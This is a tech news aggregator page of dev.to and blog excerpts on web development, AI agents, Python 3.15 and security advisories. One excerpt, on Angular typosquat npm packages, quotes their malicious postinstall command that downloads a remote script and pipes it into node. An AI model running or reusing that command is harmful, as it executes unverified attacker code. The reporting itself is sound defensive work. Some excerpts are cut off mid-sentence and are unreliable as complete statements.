Painel de Notícias

Tecnologia

7045 posts · 26 feeds · tópicos e interesse por Jev

Filtros
dev.to

Merge PDFs in the browser with pdf-lib, and what it silently drops

You can merge PDFs entirely in the browser with pdf-lib. No server, no upload, about ten lines. We use exactly this in a small tool, so here is the whole thing, plus the two things it silently drops, which I checked rather than assumed. const merged = await PDFLib.PDFDocument.create(); for (const file of files) { // File objects from const buf = await file.arrayBuffer(); const src = await PDFLib.PDFDocument.load(buf); const pages = await merged.copyPages(src, src.getPageIndices()); pages.forEach(p => merged.addPage(p)); } const bytes = await merged.save(); const url = URL.createObjectURL(new Blob([bytes], { type: "application/pdf" })); // Order of the files array is the order of the output. If you let people reorder, reorder that array. Two practical notes: Copy the file list to an array before your first await. Array.from(input.files) (or [...dataTransfer.files] in a drop handler) first, then loop: the list from a drop can be empty by the time an awaited call returns. Wrap the loop in try/catch. PDFDocument.load throws on files that are not valid PDFs and on password-protected ones. A readable message ("make sure these are valid, non-password-protected PDFs") beats a silent failure. copyPages does not carry over copyPages copies pages, not the document around them. I built two small test files with pdf-lib, one with a bookmark (an outline entry) and a text form field, and merged them with the code above. Result from reading the merged file back: Source Merged Pages 2 + 3 5 Outline (bookmarks) present absent Form fields 1 0 So for a quick "stick these scans together" tool this is fine, but if your users merge fillable forms or long reports with a table of contents, say so on the page and tell them to check the result before deleting the originals. Rebuilding an outline by hand is possible with pdf-lib's low-level API, but it is not something copyPages does for you. I only tested bookmarks and text fields. I did not test attachments, tagged-PDF structure or page labe

Dev
Interesse
dev.to

Your agent loads every tool schema by default. Decide which ones it should see.

Before you change anything about your agent config, answer two questions: # 1. how many prompt tokens does your harness send on a cold start? # 2. how many of those tokens are tool schemas? # measure with your provider tokenizer, not by counting characters. Most teams cannot answer either question. On October 1, 2026, Earendil shipped Pi 1.0. The release notes list Deferred tool loading Codemode, a JavaScript sandbox where the model composes tool calls Both turn tool visibility into a per-tool setting. That is the whole Pi spent a year saying it did not need MCP. The landing page said it The stated reasons were that MCP had matured, and that the tool loading So the reversal was less a change of heart than a collision between two A tool schema is not free. It sits in the system prompt or the tool That cost shows up in three places. Money. Every request pays for those tokens again. Attention. A long tool list is noise the model has to read past on Reproducibility. When a result changes between runs, the first Pi reports a figure for its own codemode change: the changelog gives an Pi's metadata makes a tool one of three things. The choice is yours per Direct. The model sees the schema and calls it itself. Use this for Deferred. The tool is declared only when the task calls for it. Use Codemode only. The model never sees the schema. It writes code that The third mode is the interesting one, because it changes what reaches Do not start by rearranging tools. Start by measuring. Count the prompt tokens your harness sends on a cold start, with tools Then sort every tool into one of the three buckets, and write the list Two questions settle most cases: Does the model need to choose this tool by name? If no, it belongs in codemode or deferred. How often is it called? Frequent means direct. Rare means deferred. Earendil is unusually candid about this, and you should read the caveat The problem is largely on the server side. Many MCP servers were built Earendil's own framing is

IADev
Interesse
dev.to

Building a passport/ID photo maker that never uploads the photo (MediaPipe in the browser)

Most "passport photo online" sites ask you to upload a selfie and then charge to remove the watermark. I wanted to see how far a browser-only version could go: crop to the official spec, replace the background and export print-ready files without the image ever leaving the phone. Here is what turned out to matter. Official rules describe the head height (chin to top of head) and the margin above it: Photo Size Head Source Brazil 3x4 30 x 40 mm ≈ 30 mm (70–80%) ICAO guidance published by ANAC (gov.br) US visa 2 x 2 in; DS-160 file 600x600 px, ≤ 240 KB 25–35 mm (50–69%) travel.state.gov Canada visa 35 x 45 mm 31–36 mm canada.ca (IRCC) Schengen 35 x 45 mm 32–36 mm EU Visa Code / ICAO 9303 Once you know the chin and the crown in pixels, the crop is just arithmetic: function computeCrop({ chinY, crownY, centerX }, spec) { const pxPerMm = (chinY - crownY) / spec.headTargetMm; const w = spec.wMm * pxPerMm, h = spec.hMm * pxPerMm; return { x: centerX - w / 2, y: crownY - spec.topMm * pxPerMm, w, h }; } MediaPipe's FaceLandmarker gives 478 points. Point 152 is the chin, but the highest point (10) sits mid-forehead. What worked for me: De-rotate the image using the eye line first. Run a person segmenter on a window around the head and take the first row, from the top, where the mask covers a central band of the face. That row is the top of the hair. For specs that measure to the skull (Canada, ICAO), clamp that value. Otherwise big curly hair shrinks the face below the allowed range. selfie_segmenter is 250 KB and good enough for a flat white background. selfie_multiclass_256x256 is 16 MB and handles curly hair much better. I load the small model first, show a result, and then fetch the big one in the background unless navigator.connection reports 2g/3g or saveData. Running the segmenter on the crop region instead of the full photo makes the 256-px mask far sharper. canvas.toBlob('image/jpeg') doesn't set a useful density, so print shops print the file at the wrong size. Patc

DevIAMobile
Interesse
dev.to

How to build a Financial Research Agent with SEC Filings and Market Data

Day 5 of 30 Days of Search. Quick Summary: You read the company’s filings, check the share price, and work through the numbers in a spreadsheet. Then you try to make sense of it all: is the business doing well, is the price justified, and what could change that? An agent needs those sources too. A general web summary can give it context, but the revenue number, the risk disclosure, and the price timestamp should come from evidence it can identify. In this guide, we will connect SEC filings, market and company data, and economic indicators to an existing TypeScript agent using Valyu's AI SDK. Then we will use financial DeepResearch workflows when the job calls for a complete, repeatable research pack. Domain-grounded financial retrieval gives the model financial records that fit the question: filing passages for disclosures, structured data for prices and statements, and economic series for macro context. Valyu retrieves those sources. Your model still needs to align companies, reporting periods, currencies, and timestamps before drawing a conclusion. The working pattern is: Use @valyu/ai-sdk for tools that plug into Vercel AI SDK. Use valyu-js for the underlying Search API, catalogue discovery, and DeepResearch workflows. Set VALYU_API_KEY in your server environment, using a key from platform.valyu.ai. Keep your model provider's existing configuration. The OpenAI package above is the adapter's declared peer; the function receives the compatible AI SDK model you already use. Here is the core integration: import { generateText, stepCountIs, type LanguageModel } from "ai"; import { secSearch, financeSearch, economicsSearch } from "@valyu/ai-sdk"; export async function researchFinance(model: LanguageModel, prompt: string) { return generateText({ model, prompt, tools: { secSearch: secSearch({ maxNumResults: 3 }), financeSearch: financeSearch({ maxNumResults: 3 }), economicsSearch: economicsSearch({ maxNumResults: 3 }) }, stopWhen: stepCountIs(5), }); } Pass your existing

IADev
Interesse
dev.to

I Built a Bilingual Invoice-to-JSON API (Here Is the Whole Stack)

Every accounting team I talked to had the same problem: invoices arrive as PDFs and scans, and someone has to retype them into a spreadsheet. Existing OCR APIs are either expensive, English-only, or return a blob of text instead of structured data. So I built a small REST API that takes a document and returns JSON. You POST an image or PDF. You get back: { "vendor": "ACME Ltd", "date": "2026-09-14", "total": 1240.00, "currency": "USD", "line_items": [ {"desc": "Consulting", "qty": 4, "price": 310.00} ] } Bilingual out of the box: English and Vietnamese. Eight document types: invoice, receipt, resume, contract, purchase order, and a few more. Python + FastAPI for the service layer PaddleOCR for text extraction (handles Vietnamese diacritics well) Custom rule + regex layer for field mapping per document type Railway for deploy RapidAPI as the storefront + billing Tesseract struggled with Vietnamese diacritics and with low-quality phone scans. PaddleOCR handled both noticeably better, and it runs CPU-only which keeps hosting cheap. I wanted to skip building auth, rate limiting, API keys, and billing. RapidAPI gives all four plus a marketplace where people already search for APIs. For a solo project the tradeoff (they take a cut) was worth it. Line item detection. Totals are easy. Splitting a table into rows is where most APIs fall over. I ended up using positional heuristics on OCR boxes. Vietnamese. Diacritics break naive tokenisers. Normalising before NER helped a lot. Mixed-language invoices. Some have English headers and Vietnamese line items. Per-field language detection beat whole-document detection. https://rapidapi.com/tuyentn23/api/invoice-to-json-extractor1 Free tier is live. If you build anything that touches invoices or resumes, I would love to know what document type you would want next.

Dev
Interesse
dev.to

Agent security has two failure modes: miss the attack, or break the work.

A guardrail that blocks everything is safe. Can you stop dangerous tool calls without breaking legitimate work? We ran: But the number we care about most isn't detection alone. And very soon, we're open-sourcing the Agent Security Gateway itself. PS! Agent security is quickly becoming another hype cycle. Companies are being valued and funded as if basic security primitives around AI agents are some kind of proprietary magic. A lot of that “magic” will be inside the Agent Security Gateway we’re open-sourcing in the next few days. AI security is too important to become another financial bubble built on closed boxes and pitch decks. Stop treating AI safety as a market opportunity first. Show your code.

SegurançaDevIA
Interesse
dev.to

Securing an Angular Application: Part 3 — Implementing CSP with Nginx

Continuing my series on hardening Angular applications, Part 3 moves into the actual Nginx server configuration and Content Security Policy (CSP) implementation. In this part, I walk through the docker-nginx-server.conf configuration used to serve a real Angular application and explain how the different pieces work together. Some of the topics covered: ⚙️ Angular server configuration with Nginx 🔀 Angular SPA routing 📦 Static asset handling and caching 🚫 Blocking hidden and sensitive files 🔐 Security headers 🛡️ Content Security Policy directives 🔑 Dynamic CSP nonce handling 🧩 Injecting the nonce into Angular HTML ⚠️ Error page handling 🔒 Trusted Types and other CSP protections Rather than using a generic CSP policy, the goal is to understand which resources the Angular application actually needs and how those requirements translate into individual CSP directives. This part also shows how the CSP nonce is handled using Nginx: set $csp_nonce $request_id; sub_filter_once off; sub_filter '__CSP_NONCE__' '$csp_nonce'; This allows the nonce used by the CSP policy to be injected into the Angular application's HTML for each request. 📖 Read Part 3: https://medium.com/@jangidamit800/angular-content-security-policy-csp-implementing-the-nginx-server-configuration-c70593b9136a?sharedUserId=jangidamit800 #Angular #AngularSecurity #CSP #ContentSecurityPolicy #Nginx #WebSecurity #DevSecOps #Docker #FrontendSecurity

SegurançaDev
Interesse
dev.to

Every "done" needs a receipt

When an AI agent tells you it's done, how do you know it's true? That question sits under everything I've built this past month. This morning, at first light in Ottawa, my two sites opened: iswt.ca, a small public lab, and jdbauer.ca, my home on the web. They share one rule, the ISWT Protocol: every "done" comes with a receipt, or it's "not shown". Every claim gets one of three answers. Shown: a line in the record proves it. Contradicted: a line disproves it. Not shown: neither. "Not shown" isn't an accusation. It's an honest answer, and it's enough. Most work on this tries to make an agent's words more trustworthy. I'd rather make the world checkable. A check passes the Sonny Test only if both of these are true: Its verdict comes from a record the AI being tested can't change. It has already caught a fault planted on purpose. People skip the second one. A checker that never says "fail" proves nothing, so before I trust a checker, I make it fail on purpose. You can try it on your own agent in five steps: pick the status you act on; find the record that settles it, one the agent can't change; plant a fault first, and stop if your checker doesn't say "fail"; ask for three answers, not two; and count how often the agent's status disagrees with the record, with the misses published right beside the hits. The steps are in the repository, archived at 10.5281/zenodo.23117475. 2 October: It Quoted the Failure (Kaggle Benchmarking Challenge). Sixteen pieces of ordinary engineering work, each written as three logs that differ in one line: the final check passed, failed, or never ran. Only the first earns "done". I sealed my predictions before any model read a log. In one log a service restart failed. A model wrote that the service was in a failed state, then marked the job "done", and every one of the 35 replies like that quoted the failing line. When I reworded the task from "report on it" to "do the work", false "done" didn't go away. It moved onto the logs whose check neve

IADev
Interesse
dev.to

DryRunBuddy: A Zero-Spoiler Socratic DSA Coach Powered by Local AI

This is a submission for the Hacktoberfest Weekend Challenge: Build for a Friend( Preparing for technical interviews usually involves staring at a LeetCode problem, getting stuck, and asking an AI for a hint. The problem? AI models almost always over-explain and spit out the entire optimal code block, completely robbing the developer of the learning process and the "aha!" moment. I built DryRunBuddy to flip this script. I built this specifically for a close friend who is currently grinding for software engineering interviews. DryRunBuddy acts as a firm, supportive Socratic interviewer that lives directly in your browser. Instead of giving away the answer, it takes their written intuition or code and acts in three stages: Socratic Coach: Analyzes their logic, estimates complexity, provides a concrete edge-case where their logic breaks, and asks a mock follow-up question. Code Debugger: Analyzes their naive attempt line-by-line and provides a patched snippet of just the bugs. Optimal Mentor: Once they solve it, provides the optimal solution and a step-by-step dry-run execution trace. It comes pre-loaded with a curated studio of 10 classic DSA patterns containing intentional bugs, plus a Custom Problem option. It even generates a markdown cheat-sheet and exports the entire session for their Obsidian vault! 🧠 Try it live: sunkarimanwithagopal.github.io/dryrun-buddy/ (Note: To get the actual zero-latency AI coaching, you must run Ollama locally with `OLLAMA_ORIGINS=""`. If you just want to see the UI and curated curriculum, toggle the "Instant Offline Engine" checkbox!)* The DSA Studio: The main interface featuring the curated problem list and the Quick Revision Notes. Socratic Coaching: The agent breaks down the intuition without revealing the solution. {https://github.com/SunkariManwithaGopal/dryrun-buddy} DryRunBuddy is a privacy-first, zero-spoiler AI coach built for the Hacktoberfest 'Build for a Friend' challenge. It combines a vanilla web stack with Google's open

IADev
Interesse
dev.to

Six Angular typosquats, one postinstall hook, published the same morning

On 5 October 2026 — this morning — GitHub's Advisory Database reviewed six npm packages as @angular/core or @angular/cli: @angupar/core, @anngular/core, @abgular/core, @anfular/core, @anguar/core and @angulaar/cli. Every one of them declared 22.2.1 — which, as of today, is the real, current version of @angular/core on npm. That Package Typo technique Advisory @angupar/core l → p (adjacent keys) GHSA-8v93-83f6-whc9 @anngular/core extra n inserted GHSA-jxv9-3rgw-q36v @abgular/core n → b GHSA-58jj-ccq3-fxq3 @anfular/core g → f (adjacent keys) GHSA-857q-84q8-fxgx @anguar/core l dropped GHSA-pjc3-f292-727c All five advisories quote the identical postinstall entry in package.json: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node That pipes an unpinned, unverified script straight into Node the moment npm install runs — no gitflic.ru project under an account named "hellscripter"; the web.archive.org/web/ prefix in web.archive.org, a domain most angular, the repository URL pointing at github.com/angular/angular, the README copied from the real project. The sixth, @angulaar/cli, used a different mechanism. Per its advisory GHSA-65xg-ghmw-cq2c), rather than a All six are gone. We checked directly: $ curl -s -o /dev/null -w "%{http_code}\n" https://registry.npmjs.org/@angupar%2Fcore 404 $ curl -s -o /dev/null -w "%{http_code}\n" https://registry.npmjs.org/@anguar%2Fcore 200 @anguar/core is the interesting one — it still resolves, but with zero published versions. The $ curl -s https://api.npmjs.org/downloads/point/last-week/@angular/core {"downloads":7285166,"start":"2026-09-27","end":"2026-10-03","package":"@angular/core"} $ curl -s https://api.npmjs.org/downloads/point/last-week/@angupar/core {"error":"package @angupar/core not found"} The real @angular/core — first published in 2016 — took 7,285,166 downloads in the week ending 3 None of this required reverse-engineering the payload. Every signal was ava

SegurançaDev
Interesse
dev.to

Three pieces of code that make a PIL frame look hand-drawn: boiling lines, white-key cut-outs, and a feet-anchored sprite

My explainer videos are rendered frame by frame with Pillow and piped into ffmpeg. For a day they looked like what that sounds like: clean vector lines and a character that slid around like a PowerPoint shape. Nobody watched them, including me. Three small changes made them read as hand-drawn cartoons. None of them is clever. All of them are short enough to paste here. If you want to see the result first, this one is 3:47 and every frame went through the code below: 1. The line has to boil Hand-drawn animation has a texture called boiling: the outline of a still object wobbles slightly from frame to frame because each frame was drawn by hand. A line that stays pixel-identical for two seconds reads as "computer" immediately. The trick is to jitter every point of every line by a pixel or two, but to change the jitter only every third frame. At 30 fps that's ten "redraws" a second, which is roughly the cadence of drawn-on-twos animation. Jitter every frame and it shimmers like a bad TV signal. class Pen: """Draws on a frame with a boiling hand-drawn line. `boil` changes every 3 frames.""" def __init__(self, im, frame): self.im = im self.d = ImageDraw.Draw(im) self.rng = random.Random(frame // 3) # same seed for 3 frames, then a new one self.frame = frame def w(self, pts, amp=2.0): return [(x + self.rng.uniform(-amp, amp), y + self.rng.uniform(-amp, amp)) for x, y in pts] def line(self, pts, width=6, color=INK, amp=2.0): pts = self.w(pts, amp) self.d.line(pts, fill=color, width=int(width), joint="curve") r = width / 2 for x, y in (pts[0], pts[-1]): # round caps; PIL's are square self.d.ellipse([x - r, y - r, x + r, y + r], fill=color) Seeding the generator with frame // 3 is the whole idea. Everything drawn through the pen (labels, speech bubbles, charts, arrows, props) gets the same treatment for free, and because the seed is derived from the frame number, a re-render of one shot produces exactly the same wobble as before. That matters when you re-render shot 9 and spl

Dev
Interesse
dev.to

Working Backwards from Error Logs: Reverse Engineering the Tableau-to-Fabric OAuth Breakdown

🛑 The Crime Scene: A Misleading Desktop Failure When modern lakehouse architectures meet desktop analytics clients, authentication breakdowns rarely announce their true root cause. Instead, engineers are handed generic hex codes and deceptive UI prompts. During an enterprise deployment of Microsoft Fabric Warehouse, data analysts attempted to connect Tableau Desktop (2024.2.0) to the Fabric SQL/TDS endpoint (*.datawarehouse.fabric.microsoft.com) using the native Azure SQL Database connector and Microsoft Entra ID modern authentication. Instead of opening the workspace schema and Delta tables, Tableau abruptly halted: An error occurred while communicating with Azure SQL Database Authentication failed. Error Code: 84223ADA User authorization failed (invalid_client) flowchart LR A["Tableau Desktop (Client UI)"] -->|"Azure SQL Connector OAuth Request"| B["Microsoft Entra ID (IDP)"] B --x|"Token Issuance Aborted"| A In the OAuth 2.0 RFC 6749 specification, invalid_client typically indicates an unregistered client_id, a secret mismatch, or an unapproved redirect URI. In a traditional SaaS integration, an administrator might waste hours cycling client credentials or rebuilding app registrations. However, in this environment: Interactive Delegated Auth: The connection relied on interactive user login, meaning client secret mismatches were completely irrelevant. Pre-TDS Failure: The connection aborted during token acquisition before TCP/TDS traffic ever reached the Microsoft Fabric endpoint. Workspace roles and Fabric access control policies hadn't even been evaluated. To find the true root cause, we have to stop troubleshooting the client UI and pivot directly into the Identity Provider's telemetry stream. When a desktop client throws an ambiguous error, the authoritative source of truth is the Microsoft Entra ID SigninLogs stream. Using Kusto Query Language (KQL) in Microsoft Sentinel / Azure Log Analytics, we correlate the exact timestamp of the failed connection attempt

InfraDev
Interesse
dev.to

claude code token optimizer vscode extension

TL;DR ~/.claude/projects/ and turns them into a dashboard that shows users the estimated $ spent, how a session could have been improved, and which actions caused excessive tokens to be used. It's free, MIT licensed, and on the vscode what it does: for each session transcript, it runs 10 detectors each with its own token and dollar estimate separates findings into one off fixes (one session) and habits (across sessions) tracks cache reuse and cost per day, and warns when the last 7 days are worse than the prior 7 days drills into one session turn by turn to show users where their tokens actually went limits: claude code only (for now), all costs are estimates from a rate table. claude code writes every turn of every session to a JSONL file in ~/.claude/projects/, with full usage on each line including input and output tokens, cache reads, writes, tool calls, and compactions. So the data to answer "where did that session's money go" already exists. claude code token optimizer preforms read-only operations those transcripts, then runs them through a rules engine, and formats the results in the sidebar view. everything stays local, no data leaves the machine or is sent to any service. the view: a potential savings panel with dollars and tokens the portion of tokens that was waste a breakdown by mistake category and a ranking of the most common ones token totals cache reuse tool usage the most expensive sessions a status-bar item shows live spend and cache reuse for the current session. It's on the vs code marketplace, github.com/emihiggins/ai-insights-ext. currently there are 10 detectors in place, one file each in src/rules/: context compactions context pressure (peak prompt at 80% or more of the model's window) broad or unscoped searches uncapped command output oversized or repeated reads reading a file back right after editing it redundant inspection commands failed or interrupted tool calls with output that was billed anyways low cache reuse round-trips with a larg

IADev
Interesse
dev.to

One engine, one number: how six scoring engines came to agree

The same project.faf used to score 64 in one FAF tool and 100 in another. Not because either was broken: each tool had learned to score on its own, and they mostly agreed. Mostly isn't good enough for a number people rely on. So we rebuilt it: one engine under every tool, and a test matrix that proves they agree. This is how it works, and the patterns are worth stealing for any product that has to give the same answer in several places. project.faf is a small YAML file at a repo's root that tells any AI what the project is: what it does, who it's for, the stack, how to build it. FAF scores it from 0 to 100% for AI-readiness: how much of what an AI needs is actually written down. Isn't that what AGENTS.md is for? We hear this a lot. They work together. AGENTS.md, the open standard, instructs: how to build, test and work in the repo. project.faf defines: what the project is, as validated facts. FAF defines. AGENTS.md instructs. AI codes. If you already keep an AGENTS.md, project.faf doesn't replace it: it's the source of facts behind it, the same way it sits behind CLAUDE.md. One command writes them in: faf export --agents. The score has to be trustworthy, because people gate on it. A CI check fails below a threshold. A team compares repos. An agent decides whether it has enough context to start. FAF grew one tool at a time: a CLI, then MCP servers for Claude, the IDEs, Gemini and Grok, then a Python SDK, then a hosted edge. Each one learned to score. Two things drifted: The slot model. The CLI counted 21 slots, while the newer scorers counted 33, with 12 enterprise slots (infrastructure, app, operations). The same file could read 21 of 21 in one place and 21 of 33 in another. The implementations. Small differences crept in: placeholder values, rounding, slot names. Before the fix, the hosted scorer matched the reference on only 47 of 80 FAF repos. The model first. Every .faf is scored against the same 33 slots. A slot is in one of three states: empty: every slot star

IADev
Interesse
dev.to

I Built a Phone-First Coding Agent in Five Days, on Infrastructure That Costs Nothing

Coding agents changed what a working session looks like. You describe the work, and it happens without you. You can walk away for twenty minutes and come back to a finished change. The tools around them haven't caught up. Almost all of them still assume you're sitting at the machine the agent runs on, watching it. I often wasn't. Some days I was nowhere near my PC, and on others I was near it but couldn't do any real work on it. Long-running agents looked like the obvious answer: start the work, walk away, let it run. What I wanted was a way to hand work to an agent while my PC was off. That raised two questions right away. If I'm away for hours, how do I keep the agent's output good enough to be worth keeping? And when I get back, how do I review what it did without digging through a terminal? Nautilus is my answer to both. I built it over the five days of the holiday. A phone is a good place to ask for work and a bad place to review it. A small screen is fine for a sentence of instructions and a glance at a live page. It's a poor place to read a 300-line diff. So Nautilus splits the job. On the phone, an installable web app lets you pick a project, send a prompt and watch the agent's turn stream in: every file it reads, every command it runs, every step of its reasoning. When it wants to run a command, it asks, and you approve or deny it from the phone. A preview tab shows the project's dev server live, so a UI change is something you can see, not just read about. Then you lock the screen, and it tells you when it's done. At your desk, a desktop app shows you what changed as a real diff, file by file. Nothing reaches your files until you pull. If you changed the same file while you were away, you choose a side per file, and the last pull can be undone. Your .env files never leave the PC. If the preview needs some of their values, you pick them in the desktop app. It keeps them in the OS keychain and sends them to the runner for the dev server alone. The agent runs

IADevMobile
Interesse
dev.to

ROGVEDA: Building an Offline-First, Privacy-Preserving Molecular Research Platform for a Friend

This is a submission for the Hacktoberfest Weekend Challenge: Build for a Friend. I built ROGVEDA for my friend Rohan, a graduate student researching medicinal chemistry and natural product drug leads. Rohan was facing a painful dilemma common to academic and early-stage drug discovery researchers: The Cloud Privacy Trap: He develops novel, patent-pending small molecules. Under institutional IP rules and non-disclosure agreements, he cannot upload unpublished chemical structures to closed cloud AI services without risking intellectual property leakage and patent forfeiture. Workflow Fragmentation: To evaluate a single candidate molecule, he was jumping between several disconnected tools: a 2D drawing utility, desktop software for logP and polar surface area calculation, online servers for toxicity prediction, and manual spreadsheets to record modifications. I built ROGVEDA to give Rohan a unified, 100% offline-first computational drug discovery workbench that runs entirely on his local machine. With ROGVEDA, he can: Sketch 2D molecular structures or paste SMILES strings. Compute 17+ deterministic physicochemical properties such as molecular weight, logP, TPSA, Lipinski Rule of 5 violations, and synthetic accessibility scores. Run calibrated machine learning models across 6 bioactivity and safety targets including hERG cardiotoxicity, Tox21 mitochondrial toxicity, anti-inflammatory, anti-microbial, anti-cancer, and anti-oxidant potential. Perform high-throughput batch screening on CSV libraries of up to 500 molecules with hardware-aware battery pacing. Receive contextual biochemical trade-off insights powered by a locally hosted, open-weight language model without a single byte of chemical data leaving his device. When I handed the working build over to Rohan, his feedback was direct: "Being able to screen a series of newly designed derivatives right on my laptop in seconds—without worrying about confidentiality or cloud rate limits—cuts days of tedious manual lookup

DevIA
Interesse
dev.to

How to build an Academic & Research Papers AI Agent

Day 4 of 30 Days of Search. You find a paper that looks useful, open the abstract, and realize the detail you need is somewhere else. Which dataset did the authors use? What did they compare against? Can you combine papers from different sources in one place for easy access and bookmark? Quick Summary: Your agent needs access to the paper, not just a promising title. The integration in this guide starts with Valyu Search API and two simple methods: valyu.search() to find papers and valyu.contents() to read a selected paper. We will add those calls to a TypeScript agent, starting with arXiv and then extending the same search to PubMed, bioRxiv, ChemRxiv, and medRxiv. An academic research agent searches scholarly sources, reads relevant papers, compares their evidence, and answers with source links. Search APIs like Valyu supplies the search and paper-reading calls. Your existing model decides what to search, which papers to read, and how to explain the findings. Question → Search papers → Read selected papers → Return evidence to the model → Cited answer. In your existing TypeScript backend, install the Valyu SDK: npm install valyu-js@2.10.1 Get a key from platform.valyu.ai and set VALYU_API_KEY in your server environment. The SDK reads it automatically. Add this function to your agent's tool layer: import { Valyu } from "valyu-js"; export const valyu = new Valyu(); export async function searchPapers(query: string) { const response = await valyu.search(query, { includedSources: ["valyu/valyu-arxiv"], maxNumResults: 5, }); if (!response.success) throw new Error(response.error ?? "Search failed"); return response.results; } Call searchPapers("Protein-ligand binding affinity prediction benchmarks"). You get paper records containing a title, original URL, source, and retrieved content. Authors, DOI, and publication date are included when available. For a different collection, change includedSources. For example, use ["valyu/valyu-pubmed"] for PubMed or ["valyu/valyu-chem

IADev
Interesse
Simon Willison

We're going to need default hard budget caps on pretty much everything

Here's a product feature which the world is going to need a whole lot more of over the coming months and years: default hard budget caps . I'm talking about the feature of pay-by-usage services and APIs that lets you say "after $X/month, cut this thing off and return errors". These need to be hard limits. Soft caps, "after $X/month, send me a warning email", will not cut it. Coding agents, and personal agents (coding agents wrapped in a less threatening UI), greatly reduce the friction of spinning up code that can do useful things. Sometimes those things cost money - calls to paid APIs, or hosted web applications, or systems that can bill for additional storage and compute. Nobody wants to wake up to an email sent at midnight warning about a budget limit and find that, while they slept, their rogue service had consumed several hundred (or several thousand) more dollars of usage. An argument against this is that businesses don't want their hosted applications to start throwing errors because some budget was exceeded. I expect that most businesses and individuals would prefer errors to a surprise $10,000+ bill. I think hard budget caps need to be the default. If someone wants to live dangerously they should be able to do that, but it needs to be on an opt-in basis. Have a nice, clear checkbox somewhere prominent: Remove the budget cap. My application will not be shut down if I exceed the configured budget limit, and I will be responsible for subsequent charges. The service I most want to see this from is AWS. I've heard plenty of stories from people who refuse to use AWS for personal projects out of (justified) fear that a runaway service might bankrupt them. I've also heard stories from people who didn't anticipate this and ended up seriously burned. ... and it turns out AWS finally launched spending limits a few weeks ago! From their announcement New AWS experience helps builders get started and ship faster on 16th September: When you're ready to upgrade to a paid p

InfraIA
Interesse
Smashing Magazine

The Architecture Of Local-First Web Development

An honest perspective on building local-first web apps in 2026, written for developers who’ve been doing this long enough to be skeptical of silver bullets.

Dev
Interesse
freeCodeCamp

Build and Publish a Full-Stack Mobile App with AI

Building a production-ready mobile application used to require a dedicated team of frontend, backend, and DevOps engineers. With modern AI tools, an individual developer can take an idea from concept

MobileDev
Interesse
Simon Willison

Hello Python 3.15, goodbye 3.10, and now I can use 3.11

Python 3.15 is here ! Here's the essential What's new in Python 3.15 guide, this year curated by 3.14 and 3.15 release manager Hugo van Kemenade. As someone who builds open source software that works in every supported Python version, I get to say goodbye to Python 3.10 and start embracing features from Python 3.11. First, some highlights from Python 3.15. Explicit lazy imports I'm most excited about Explicit lazy imports from PEP 810 . These let you import modules like so: lazy import json lazy from pathlib import Path The module will then be imported the first time those symbols are used in the code that follows. My LLM CLI tool implements plugins. I had to recommend manual lazy imports in the plugin author documentation, because simply installing plugins that used heavy dependencies such as sentence_transformers could add multiple seconds to every invocation of the llm command. Lazy imports directly address this startup cost. Unpacking in comprehensions The new [*sublist for sublist in lists] unpacking syntax is neat. Here's an illustration lifted from the documentation : lists = [[ 1 , 2 ], [ 3 , 4 ], [ 5 ]] [ * L for L in lists ] # [1, 2, 3, 4, 5] # equivalent to [x for L in lists for x in L] sets = [{ 1 , 2 }, { 2 , 3 }, { 3 , 4 }] { * s for s in sets } # {1, 2, 3, 4} # equivalent to {x for s in sets for x in s} dicts = [{ 'a' : 1 }, { 'b' : 2 }, { 'a' : 3 }] { ** d for d in dicts } # {'a': 3, 'b': 2} # equivalent to {k: v for d in dicts for k,v in d.items()} PEP 798: Unpacking in Comprehensions by Adam Hartz and Erik Demaine proposed this as an extension of the unpacking syntax from PEP 448 , which landed in Python 3.5 back in 2015. A sampling profiler Python's existing tracing profiler has been renamed from cProfile to profiling.tracing , and has been joined by an exciting new sampling profiler called Tachyon, aka profiling.sampling . Sampling profilers work by periodically capturing stack traces from running processes, then using those to calculate which fu

Dev
Interesse
dev.to

AI review benchmarks score the bot. Nobody scores the reader

This week GitHub published ReviewBench, an open benchmark for AI code reviewers. It is careful work: 219 pull requests from 187 open-source repositories across 19 languages, picked so their size matches what actually gets reviewed on GitHub, based on an analysis of 103.9 million pull requests. The ground truth comes from human reviewers, from bugs that authors fixed in later commits, from static analysis and from several frontier models, and senior engineers who didn't build the dataset re-labelled every finding, agreeing with it 96.6% of the time. You get precision, recall and F1, so you can say "this reviewer finds 40% of the real issues and half of what it says is noise." That is a real improvement on vibes. But read what the benchmark is measuring: the bot. How many true issues it catches, how many false ones it raises. It cannot measure the other half of every review, which is a person reading the finding and deciding whether it is right. That half is where review time goes now. Anthropic's own research puts the gap plainly: developers use AI in roughly 60% of their work, but say they can "fully delegate" only 0–20% of tasks (summary of Anthropic's 2026 Agentic Coding Trends Report). Everything between those two numbers is work an agent did and a human still has to look at. And there is a lot more of it. At the AI Engineer World's Fair, Sourcegraph's CEO described agents producing a "tidal wave of code" that wears down old codebases with duplicated helpers, inconsistent standards and fragile dependencies (recap). GitHub's own guide to reviewing agent pull requests reads like a list of things a person has to go and look at: tests that quietly disappeared, utilities duplicated because the agent didn't find the existing one, a permission check on the path that matters, traced from input to output. None of that is a syntax error a bot can flag. It is reading. Every comment an AI reviewer leaves comes with a cost attached: someone has to open the file, find the plac

IADev
Interesse
dev.to

Kiteworks patches max-severity EPG flaw in Wednesday advisory

Kiteworks has patched CVE-2026-54154, a maximum-severity flaw in its Email Protection Gateway (EPG) that lets an unauthenticated remote attacker chain path traversal, code injection, and missing authentication into arbitrary code execution, then escalate to root on the appliance. The attack is low-complexity and needs no user interaction. It was reported through the company's YesWeHack bug bounty program and affects every EPG release before 9.4.1. The fix shipped inside a larger batch of 126 vulnerabilities, 11 of them rated critical across the Core and EPG components. Those 11 cover authentication bypass, admin account takeover, stored XSS, improper access control, and improper authentication. CVE-2026-54154 is the one that gets a remote attacker root, but anyone running EPG is sitting on a stack of critical auth and access-control bugs until they upgrade. EPG is part of the Kiteworks Private Content Network, which bundles enterprise email, Managed File Transfer, file sharing, APIs, and web forms into one platform. Kiteworks, formerly Accellion, says the PCN has more than 100 million end-users across thousands of corporations and government agencies. An appliance that sits on the email boundary for that many organisations is a high-value target, and the bug class here is the worst kind for it: input-handling flaws in publicly reachable endpoints. That phrasing comes from Kiteworks' own advisory, published Wednesday: "A combination of input-handling flaws in publicly reachable endpoints of the Kiteworks Email Protection Gateway potentially allowed an unauthenticated remote attacker to achieve arbitrary code execution and, by chaining additional local weaknesses, to escalate to full administrative (root) control of the appliance." There is a second thread the advisory does not fully close. 